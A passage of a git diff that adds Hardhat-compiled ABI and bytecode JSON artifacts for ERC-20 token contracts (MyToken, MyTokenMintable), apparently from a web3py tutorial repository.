+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "symbol",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "totalSupply",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transfer",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transferFrom",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x",
+  "deployedBytecode": "0x",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/MyToken.json b/basic/18-web3py/ABI/MyToken.json
new file mode 100644
index 000000000..fdf921e44
--- /dev/null
+++ b/basic/18-web3py/ABI/MyToken.json
@@ -0,0 +1,292 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "MyToken",
+  "sourceName": "contracts/my_erc20.sol",
+  "abi": [
+    {
+      "inputs": [
+        {
+          "internalType": "uint256",
+          "name": "initialSupply",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "constructor"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Approval",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Transfer",
+      "type": "event"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        }
+      ],
+      "name": "allowance",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "approve",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "balanceOf",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "decimals",
+      "outputs": [
+        {
+          "internalType": "uint8",
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "subtractedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "decreaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "addedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "increaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "name",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "symbol",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "totalSupply",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transfer",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transferFrom",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x60806040523480156200001157600080fd5b506040516200184638038062001846833981810160405281019062000037919062000321565b6040518060400160405280600781526020017f4d79546f6b656e000000000000000000000000000000000000000000000000008152506040518060400160405280600281526020017f4d540000000000000000000000000000000000000000000000000000000000008152508160039080519060200190620000bb9291906200025a565b508060049080519060200190620000d49291906200025a565b505050620000e93382620000f060201b60201c565b5062000505565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200015a90620003a0565b60405180910390fd5b62000177600083836200025560201b60201c565b80600260008282546200018b9190620003f0565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001e29190620003f0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002499190620003c2565b60405180910390a35050565b505050565b828054620002689062000457565b90600052602060002090601f0160209004810192826200028c5760008555620002d8565b82601f10620002a757805160ff1916838001178555620002d8565b82800160010185558215620002d8579182015b82811115620002d7578251825591602001919060010190620002ba565b5b509050620002e79190620002eb565b5090565b5b8082111562000306576000816000905550600101620002ec565b5090565b6000815190506200031b81620004eb565b92915050565b6000602082840312156200033457600080fd5b600062000344848285016200030a565b91505092915050565b60006200035c601f83620003df565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200039a816200044d565b82525050565b60006020820190508181036000830152620003bb816200034d565b9050919050565b6000602082019050620003d960008301846200038f565b92915050565b600082825260208201905092915050565b6000620003fd826200044d565b91506200040a836200044d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200044257620004416200048d565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200047057607f821691505b60208210811415620004875762000486620004bc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b620004f6816200044d565b81146200050257600080fd5b50565b61133180620005156000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea264697066735822122002300b642a38f158807847909cafbf69e4332694bfd0105c5a8a50cc5bb2ffe964736f6c63430008000033",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea264697066735822122002300b642a38f158807847909cafbf69e4332694bfd0105c5a8a50cc5bb2ffe964736f6c63430008000033",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/MyTokenMintable.json b/basic/18-web3py/ABI/MyTokenMintable.json
new file mode 100644
index 000000000..538952026
--- /dev/null
+++ b/basic/18-web3py/ABI/MyTokenMintable.json
@@ -0,0 +1,521 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "MyTokenMintable",
+  "sourceName": "contracts/my_erc20_openzeppelin.sol",
+  "abi": [
+    {
+      "inputs": [],
+      "stateMutability": "nonpayable",
+      "type": "constructor"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Approval",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "previousAdminRole",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "newAdminRole",
+          "type": "bytes32"
+        }
+      ],
+      "name": "RoleAdminChanged",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleGranted",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleRevoked",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Transfer",
+      "type": "event"
+    },
+    {
+      "inputs": [],
+      "name": "DEFAULT_ADMIN_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "MINTER_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        }
+      ],
+      "name": "allowance",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "approve",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "balanceOf",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
